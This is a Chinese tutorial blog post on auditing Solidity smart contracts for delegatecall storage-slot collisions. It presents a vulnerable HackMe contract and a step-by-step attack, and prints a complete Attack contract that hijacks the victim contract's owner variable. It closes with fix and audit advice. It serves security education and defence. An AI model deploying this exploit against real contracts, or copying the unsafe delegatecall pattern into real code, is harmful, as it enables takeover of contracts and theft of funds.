【区块链安全 | 第四十篇】合约审计之delegatecall(二)
文章目录
- 漏洞代码
- 代码分析
- 攻击流程
- 攻击代码
- 前文重现
- 修复建议
- 审计思路
在阅读本文之前,请确保已先行阅读:【区块链安全 | 第三十九篇】合约审计之delegatecall(一)
漏洞代码
存在一漏洞代码如下:
// 库合约,定义了一个公共变量和一个函数
contract Lib {uint public someNumber; // 存储在 slot 0// 用于设置 someNumber 的值function doSomething(uint _num) public {someNumber = _num;}
}// 主合约 HackMe
contract HackMe {address public lib; // 存储在 slot 0,库合约地址address public owner; // 存储在 slot 1,合约的拥有者uint public someNumber; // 存储在 slot 2// 构造函数,初始化库地址和合约拥有者constructor(address _lib) {lib = _lib; // 设置外部库地址owner = msg.sender; // 设置合约拥有者}// 外部接口,调用库合约中的 doSomething 函数function doSomething(uint _num) public {// 使用 delegatecall 方式调用库函数// 实际执行的是 Lib.doSomething(uint256),但上下文是 HackMe 自己的存储空间lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));}
}
代码分析
正常的调用逻辑是这样的:
用户A调用 HackMe.doSomething(123),该函数内部使用 delegatecall 调用了库合约 Lib 的 doSomething(uint) 函数。虽然执行的是库合约中的代码,但由于使用的是 delegatecall,所以代码是在 HackMe 合约的上下文中执行的,也就是说修改的是 HackMe 合约自身的存储槽。
此时,Lib 中的 someNumber 存储在 slot 0,但在 HackMe 中 slot 0 存储的是 lib 地址。因此,delegatecall 执行时会将 slot 0 视为 HackMe 合约的 lib,从而错误地把 lib 的地址替换成了传入的 _num 值(类型转换为 address 时低位保留),也就是把 lib 地址改成了 address(123),这正是潜在的攻击点。
那么,我们该如何利用这个漏洞将受害者合约中的 owner 修改为我们自己的地址呢? 下面让我们一步步看看完整的攻击流程。
攻击流程
1.用户首先部署 Lib 合约;
2.随后,Hacker 部署 HackMe 合约,并在构造函数中传入 Lib 合约地址作为参数;
3.Hacker 部署恶意合约 Attack,并在构造函数中传入 HackMe 合约地址;
4.Hacker 首次调用 HackMe.doSomething(),在该调用中会通过 delegatecall 执行 Lib.doSomething(uint) 函数。原本该函数应修改 Lib 合约中的 someNumber(位于 slot 0),但由于使用的是 delegatecall,实际上会修改 HackMe 的 slot 0,即 lib 变量。因此,Hacker 可借此将 lib 替换为自己部署的 Attack 合约地址;
5.此时,由于 HackMe 合约中的 lib 地址已被替换为攻击合约 Attack 的地址,Hacker 可以自定义 Attack 合约中的 doSomething() 函数逻辑;
6.Hacker 第二次调用 HackMe.doSomething(),由于 lib 现在指向的是 Attack 合约,因此 delegatecall 实际执行的是 Attack.doSomething()。在该函数中,Hacker 可以编写恶意代码,直接修改 HackMe 合约中的 owner 变量;
7.最终,HackMe 合约的 owner 成功被篡改为 Hacker 的地址。
接下来,我们来看 Hacker 是如何编写这个恶意合约 Attack 的。
攻击代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;contract Attack {// 确保存储布局与 HackMe 完全一致// 这样我们才能正确地修改对应的状态变量address public lib; // slot 0:库合约地址address public owner; // slot 1:合约拥有者地址uint public someNumber; // slot 2:任意整数变量HackMe public hackMe;constructor(HackMe _hackMe) {hackMe = HackMe(_hackMe);}function attack() public {// 第一次调用,覆盖 HackMe 中的 lib 地址为当前合约地址hackMe.doSomething(uint(uint160(address(this))));// 第二次调用,传入任意参数,触发 delegatecall 执行本合约的 doSomething()hackMe.doSomething(1);}// 函数签名必须与 HackMe 的 doSomething(uint) 完全一致function doSomething(uint _num) public {// 将 HackMe 中的 owner 修改为 Hacker 地址owner = msg.sender;}
}
前文重现
这里将【区块链安全 | 第三十九篇】合约审计之delegatecall(一)中提到的 delegatecall 的关键特性重复一遍,加深你的记忆:
当涉及 storage 变量的修改时,变量的赋值是基于存储插槽的位置(slot)而不是变量名进行的。
举例来说:
1.在 A 合约中,address c 被存储在 slot0,而 address a 被存储在 slot1;
2.在 B 合约中,address a 被存储在 slot0,而 address c 被存储在 slot1;
3.当 B 合约通过 delegatecall 调用 A 合约的 test 函数时,该函数原本用于修改 A 合约中的变量 a,即 slot1 中的数据;
4.然而,在 delegatecall 的上下文中,slot1 实际映射的是 B 合约中的变量 c,因此最终被修改的是 B 合约中的 c,而不是预期的 a。
修复建议
通过这个例子我们同样可以清晰看到 delegatecall 带来的安全隐患 —— 如果调用的外部合约不可信或不受控,很可能造成严重的数据篡改或权限劫持问题。因此,在设计合约架构时,应注意以下两点。
1.在使用 delegatecall 时,应确保被调用合约的地址是可信且不可由外部用户控制的。推荐的做法是将目标地址硬编码(写死一个你自己部署、你知道安全的合约地址),或通过白名单机制进行管理,防止恶意地址注入。
如果目标地址是外部可控的,会发生什么?
举个例子:
fallback() external payable {address(_someUserInput).delegatecall(msg.data);
}
假设上面这段代码的 _someUserInput 是用户传进来的地址,此时 Hacker 可以传一个他部署的恶意合约地址进来,然后通过 delegatecall,在你的合约中执行他的恶意代码,直接改写你合约里的变量,比如 owner、余额等。
2.在复杂合约中使用 delegatecall 时,应确保调用者与被调用合约之间的存储结构保持一致。特别是变量的声明顺序和类型必须严格对应,否则容易因存储插槽错位而导致意外的数据覆盖或逻辑错误。
审计思路
1.在审计中,如发现合约使用了 delegatecall,需重点检查目标合约地址是否有被 Hacker 控制的可能。如果地址是可控的,即存在外部调用者传入的风险,应视为高危漏洞。
2.若被调用的合约中包含对 storage 变量的修改,审计者应对比其与调用方合约的变量声明顺序和存储插槽分布,确认两者结构是否一致,避免 delegatecall 引发变量误覆盖或权限篡改问题。
相关文章:
【区块链安全 | 第四十篇】合约审计之delegatecall(二)
文章目录 漏洞代码代码分析攻击流程攻击代码前文重现修复建议审计思路 在阅读本文之前,请确保已先行阅读:【区块链安全 | 第三十九篇】合约审计之delegatecall(一) 漏洞代码 存在一漏洞代码如下: // 库合约…...
Redis实现分布式定时任务
设计思路 任务表示:每个任务通过一个特定格式的键来表示。键名可以包含任务ID等信息,值可以是任务的具体内容或指向任务详情的引用。过期机制:利用Redis的EXPIRE命令为任务设置过期时间,当到达设定的时间点时,Redis会…...
ERC20合约的基本调用
文章目录 ERC20合约的基本调用合约功能compile.js 代码读取文件 进行合约编译获取二进制对象导出对象 index.js 代码编译合约读取私钥设置收款账户构造 web3 对象获取账户地址获取 abi 和 bin创建合约交易部署合约构造转账交易验证转账后余额 测试项目目录执行查询 ERC20合约的…...
『Kubernetes(K8S) 入门进阶实战』实战入门 - Pod 详解
『Kubernetes(K8S) 入门进阶实战』实战入门 - Pod 详解 Pod 结构 每个 Pod 中都可以包含一个或者多个容器,这些容器可以分为两类 用户程序所在的容器,数量可多可少Pause 容器,这是每个 Pod 都会有的一个根容器,它的作用有两个 可…...
【React框架】什么是 Vite?如何使用vite自动生成react的目录?
什么是 Vite? Vite 是一个基于原生 ES Modules 开发的前端构建工具,由 Evan You(Vue 的作者)开发。它最大的特点包括: 极速冷启动:因为利用了浏览器原生的 ES Modules,所以在开发时无需等待整…...
JS实现文件点击或者拖拽上传
B站看到了渡一大师课的切片,自己实现了一下,做下记录 效果展示 分为上传前、上传中和上传后 实现 分为两步 界面交互网络请求 源码如下 upload.html <!DOCTYPE html> <html lang"zh-CN"><head><meta charset&q…...
【Vue #3】指令补充样式绑定
一、指令修饰符 Vue 的指令修饰符(Directive Modifiers)是 Vue 模板语法中的重要特性,它们以半角句号 . 开头,用于对指令的绑定行为进行特殊处理 修饰符作用如下: 简化事件处理(如阻止默认行为、停止冒泡…...
Vue.js组件安全工程化演进:从防御体系构建到安全性能融合
——百万级流量场景下的安全组件架构与源码级解决方案 文章目录 总起:安全工程化的组件革命 分论: 一、现存组件架构的七宗罪与安全改造路径 1.1 组件生态安全赤字现状 1.2 架构级安全缺陷深度剖析 1.3 性能与安全的死亡螺旋 二、百万级…...
LINUX基础 [二] - Linux常见指令
目录 💻前言 💻指令 🎮ls指令 🎮pwd指令 🎮whoami指令 🎮cd指令 🎮clear指令 🎮touch指令 🎮mkdir指令 🎮rmdir指令 🎮rm指令 &#…...
Linux进阶命令
目录 一、touch 1. 基本语法 2. 常用选项 二、which 1. 基本语法 2. 主要功能 3. 常用选项 三、find 1. 基本语法 2. 常用选项和表达式 四、more 1. 基本语法 2. 常用操作 3. 对比 more 和 less 五、grep 1. 基本语法 2. 常用选项 六、wc 1. 基本语法 2. 常…...
【Spring Boot 过滤器】
文章目录 前言一、什么是过滤器 Filter?二、Spring Boot 中使用 Filter 的方式1. 使用 Component 注解2. 使用 FilterRegistrationBean 显式注册 三、自定义过滤器示例1. 引入必要依赖2. 创建一个自定义 Filter3. 使用 FilterRegistrationBean 显式注册 四、多个 Fi…...
SPI通讯的软硬件NSS SSM SSI
学习自记: 1. NSS(Slave Select,从设备选择) 功能: NSS是SPI通信中用于选择从设备的信号线。主设备通过拉低NSS信号选中某个从设备,使其参与通信。通信结束后,主设备释放NSS&#…...
Java基础:集合List、Map、Set(超详细版)
集合体系概述 Collection常用方法 补充:addAll() Collection的遍历方式 迭代器 增强for(空集合可以,null不可以) lambda 集合对象存储对象原理 遍历方式的区别 List集合 特点、特有方法 遍历方式 (同上)…...
vue+leaflet 区域划分_反向遮罩层
leaflet 区域划分_遮罩层 geojson在线生成器网址:(https://datav.aliyun.com/portal/school/atlas/area_selector) 点击前往阿里云geojson生成器 效果图: 实现下面效果,只需要把addSateLayer函数的调用取消掉就好了. //添加遮罩层代码function addMask() {var latlngs;var fe…...
聊一聊原子操作和弱内存序
1、原子操作概念 在并发编程中,原子操作(Atomic Operation)是实现线程安全的基础机制之一。从宏观上看,原子操作是“不可中断”的单元,但若深入微观层面,其本质是由底层处理器提供的一组特殊指令来保证其原…...
免费送源码:Java+ssm+MySQL 校园二手书销售平台设计与实现 计算机毕业设计原创定制
摘 要 信息化社会内需要与之针对性的信息获取途径,但是途径的扩展基本上为人们所努力的方向,由于站在的角度存在偏差,人们经常能够获得不同类型信息,这也是技术最为难以攻克的课题。针对校园二手书销售平台等问题,对校…...
DAPP实战篇:使用ethersjs连接智能合约并输入地址查询该地址余额
本系列目录 专栏:区块链入门到放弃查看目录-CSDN博客文章浏览阅读400次。为了方便查看将本专栏的所有内容列出目录,按照顺序查看即可。后续也会在此规划一下后续内容,因此如果遇到不能点击的,代表还没有更新。声明:文中所出观点大多数源于笔者多年开发经验所总结,如果你…...
14.【.NET 8 实战--孢子记账--从单体到微服务--转向微服务】--微服务基础工具与技术--CAP
CAP 是一款专为 .NET 生态设计的开源框架,其核心目标是解决微服务中跨服务数据一致性问题。在分布式系统中,传统事务无法跨服务保证数据一致性,CAP 通过本地事务与消息记录绑定,再利用消息中间件(如 RabbitMQ、Kafka 等…...
智能资源管理机制-重传机制
一、发送端资源管理的核心机制 1. 滑动窗口(Sliding Window) 这是TCP协议的核心优化设计: 窗口动态滑动:发送端不需要保留所有已发送的分组,只需维护一个"发送窗口"窗口大小:由接收方通告的接…...
【Linux网络与网络编程】08.传输层协议 UDP
传输层协议负责将数据从发送端传输到接收端。 一、再谈端口号 端口号标识了一个主机上进行通信的不同的应用程序。在 TCP/IP 协议中,用 "源IP","源端口号","目的 IP","目的端口号"&…...
局域网下ESP32-S3 LED灯的UDP控制
在局域网下通过IP地址控制ESP32-S3上的LED,可以使用UDP或TCP协议。以下是一个基于UDP协议的完整示例,包括ESP32-S3的服务器代码和一个简单的Python客户端代码。 ESP32-S3 服务器代码 import socket import time import network import machineled Non…...
call、bind、apply
call、bind、apply它们三个都是函数的方法,都可以用于改变this的指向问题。 var person "liangxiao" let obj {name:"张三",say:function() {console.log(this.name);} }obj.say(); setTimeout(function() {obj.say(); },1000) obj.say()打…...
Redis 哨兵模式 搭建
1 . 哨兵模式拓扑 与 简介 本文介绍如何搭建 单主双从 多哨兵模式的搭建 哨兵有12个作用 。通过发送命令,让Redis服务器返回监控其运行状态,包括主服务器和从服务器。 当哨兵监测到master宕机,会自动将slave切换成master,然后通过…...
客户端负载均衡与服务器端负载均衡详解
客户端负载均衡与服务器端负载均衡详解 1. 客户端负载均衡(Client-Side Load Balancing) 核心概念 定义:负载均衡逻辑在客户端实现,客户端主动选择目标服务实例。典型场景:微服务内部调用(如Spring Cloud…...
Ningx负载均衡
Ningx负载均衡 upstream(上游)配置负载均衡1、weight(加权轮询)2、ip_hash(负载均衡)3、url hash负载均衡4、least_conn(最小连接负载均衡) upstream(上游)配置负载均衡 Nginx负载均衡 参考: nginx从安装…...
头歌软件工程导论UML画图题(基于starUML)
一.结构化分析方法-数据流图 本关卡需要画图的一共有5关,直接将此图画好每关提交一次即可,以下的所有图均以此方法提交 二.面向对象分析之用例图 三.面向对象分析之类图 注意此处创建Class之后,双击Class出现以下选项 点击相应的选项创建属性…...
智能车摄像头开源—9 动态权、模糊PID、速度决策、路径优化
目录 一、前言 二、动态权 1.概述 2.偏差值加动态权 三、模糊PID 四、速度决策 1.曲率计算 2.速度拟合 3.速度控制 五、路径 六、国赛视频 一、前言 在前中期通过识别直道、弯道等元素可进行加减速操作实现速度的控制,可进一步缩减一圈的运行速度ÿ…...
java基础 this和super的介绍
this和super this关键字的用法super关键字的用法this与super的区别和注意事项 this关键字的用法 this是自身的一个对象,代表对象本身,可以理解为:指向对象本身的一个指针 class Person{private String name;private int age;public String …...
《Python星球日记》第25天:Pandas 数据分析
名人说:路漫漫其修远兮,吾将上下而求索。—— 屈原《离骚》 创作者:Code_流苏(CSDN)(一个喜欢古诗词和编程的Coder😊) 订阅专栏:《Python星球日记》 目录 一、引言二、数据分组与聚合1. 分组操…...
C++在Linux上生成动态库并调用接口测试
加减乘除demo代码 项目结构 CPP/ ├── calculator.cpp ├── calculator.h ├── main.cpp 头文件 #ifndef CALCULATOR_H #define CALCULATOR_H#ifdef __cplusplus extern "C" {#endifdouble add(double a, double b);double subtract(double a, double b…...
Cesium.js(6):Cesium相机系统
Camera表示观察场景的视角。通过操作摄像机,可以控制视图的位置、方向和角度。 帮助文档:Camera - Cesium Documentation 1 setView setView 方法允许你指定相机的目标位置和姿态。你可以通过 Cartesian3 对象来指定目标位置,并通过 orien…...
机器学习中的数学(PartⅡ)——线性代数:概述
首先引入代数和线性代数的概念: 在将一些直观的、基于经验或直觉的概念转化为严格的数学或逻辑定义时,一种常用方法是构建一组对象和一组操作这些对象的规则,这就是代数。线性代数是研究向量和某些操作向量的规则。 其次从更广泛的意义上定…...
基于双闭环PID控制器的永磁同步电机控制系统匝间故障Simulink仿真
欢迎微♥关注“电击小子程高兴的MATLAB小屋”获取巨额优惠 1.模型简介 本仿真模型基于MATLAB/Simulink(版本MATLAB 2013Rb)软件。建议采用matlab2013 Rb及以上版本打开。(若需要其他版本可联系代为转换,高于该版本的matlab均可正…...
在51单片机上实现平滑呼吸灯:50us定时器PWM实战指南
在51单片机上实现平滑呼吸灯:50us定时器PWM实战指南 引言 本文将详细介绍如何在51单片机平台上,通过精确的50us定时器中断实现无闪烁的呼吸灯效果。相比常见的125us实现方案,50us定时器能提供更高的PWM频率和更细腻的亮度控制。 硬件设计 基本电路配置 主控芯片:SC92F8…...
asm汇编源代码之CPU型号检测
提供1个子程序: 1. CPU型号检测 CPUTYPE 无输入参数,返回值AX指示CPU类型(报歉,当时最新CPU型号只有80486) 函数的返回值详细描述如下 CPUTYPE PROC FAR ;OUT: AX01, 8086; AX02, 80286; AX03, 80386; AX04, 80486 UP; ; more source code at http://www.ahj…...
提高课:数据结构之树状数组
1,楼兰图腾 #include<iostream> #include<cstring> #include<cstdio> #include<algorithm>using namespace std;typedef long long LL;const int N 200010;int n; int a[N]; int tr[N]; int Greater[N], lower[N];int lowbit(int x) {ret…...
python可变对象与不可变对象
文章目录 Python 中的可变对象与不可变对象不可变对象(Immutable Objects)可变对象(Mutable Objects)重要区别 Python 中的可变对象与不可变对象 在 Python 中,对象可以分为可变对象(mutable)和不可变对象(immutable),这是 Python 中非常重要的概念&…...
C++学习之金融类安全传输平台项目git
目录 1.知识点概述 2.版本控制工具作用 3.git和SVN 4.git介绍 5.git安装 6.工作区 暂存区 版本库概念 7.本地文件添加到暂存区和提交到版本库 8.文件的修改和还原 9.查看提交的历史版本信息 10.版本差异比较 11.删除文件 12.本地版本管理设置忽略目录 13.远程git仓…...
果篮问题 Python
# 给你两个长度为 n 的整数数组,fruits 和 baskets,其中 fruits[i] 表示第 i 种水果的 数量,baskets[j] 表示第 j 个篮子的 容量。 # 你需要对 fruits 数组从左到右按照以下规则放置水果: # 每种水果必须放入第一个 容量大于等于 …...
Spring 是如何解决循环依赖的?
在使用 Spring 框架进行开发时,循环依赖是一个常见而棘手的问题。循环依赖指的是两个或多个 bean 之间的相互依赖,导致 Spring 容器无法正常创建这些 bean。下面将深入探讨 Spring 如何解决循环依赖问题,并提供一些最佳实践。 什么是循环依赖…...
部署NFS版StorageClass(存储类)
部署NFS版StorageClass存储类 NFS版PV动态供给StorageClass(存储类)基于NFS实现动态供应下载NFS存储类资源清单部署NFS服务器为StorageClass(存储类)创建所需的RBAC部署nfs-client-provisioner的deployment创建StorageClass使用存储类创建PVC NFS版PV动态供给StorageClass(存储…...
深入理解 PyTorch 的 nn.Embedding:词向量映射及变量 weight 的更新机制
文章目录 前言一、直接使用 nn.Embedding 获得变量1、典型场景2、示例代码:3、特点 二、使用 iou_token nn.Embedding(1, transformer_dim) 并访问 iou_token.weight1、典型场景2、示例代码:3、特点 三、第一种方法在模型更新中会更新其值吗?…...
go语言内存泄漏的常见形式
go语言内存泄漏 子字符串导致的内存泄漏 使用自动垃圾回收的语言进行编程时,通常我们无需担心内存泄漏的问题,因为运行时会定期回收未使用的内存。但是如果你以为这样就完事大吉了,哪里就大错特措了。 因为,虽然go中并未对字符串…...
操作系统
操作系统 操作系统(OperatingSystem,OS)是指控制和管理整个计算机系统的硬件和软件资源,并合理地组织调度计算机的工作和资源的分配;以提供给用户和其他软件方便的接口和环境;它是计算机系统中最基本的系统…...
《JVM考古现场(十八):造化玉碟·用字节码重写因果律的九种方法》
"鸿蒙初判!当前因果链突破十一维屏障——全体码农修士注意,《JVM考古现场(十八)》即将渡劫飞升!" 目录 上卷阴阳交缠 第一章:混沌初开——JVM因果律的量子纠缠 第二章:诛仙剑阵改—…...
【2】k8s集群管理系列--包应用管理器之helm(Chart语法深入应用)
一、Chart模板:函数与管道 常用函数: • quote:将值转换为字符串,即加双引号 • default:设置默认值,如果获取的值为空则为默认值 • indent和nindent:缩进字符串 • toYaml:引用一…...
汇编获取二进制
mov_.S mov %r8d,0 nop执行命令: gcc -c mov_.S 会输出 mov_.o 文件:objdump -D mov_.o : mov_.o: 文件格式 elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:0: 44 89 04 25 00 00 00 mov %r8d,0x0…...
《嵌套调用与链式访问:C语言中的函数调用技巧》
🚀个人主页:BabyZZの秘密日记 📖收入专栏:C语言 🌍文章目入 一、嵌套调用(一)定义(二)实现方式(三)优点(四)缺点 二、链式…...
txt、Csv、Excel、JSON、SQL文件读取(Python)
txt、Csv、Excel、JSON、SQL文件读取(Python) txt文件读写 创建一个txt文件 fopen(rtext.txt,r,encodingutf-8) sf.read() f.close() print(s)open( )是打开文件的方法 text.txt’文件名 在同一个文件夹下所以可以省略路径 如果不在同一个文件夹下 ‘…...
前端工程化之新晋打包工具
新晋打包工具 新晋打包工具前端模块工具的发展历程分类初版构建工具grunt使用场景 gulp采用管道机制任务化配置与api简洁 现代打包构建工具基石--webpack基于webpack改进的构建工具rollup 推荐举例说明package.jsonrollup.config.mjsmy-extract-css-rollup-plugin.mjssrc/index…...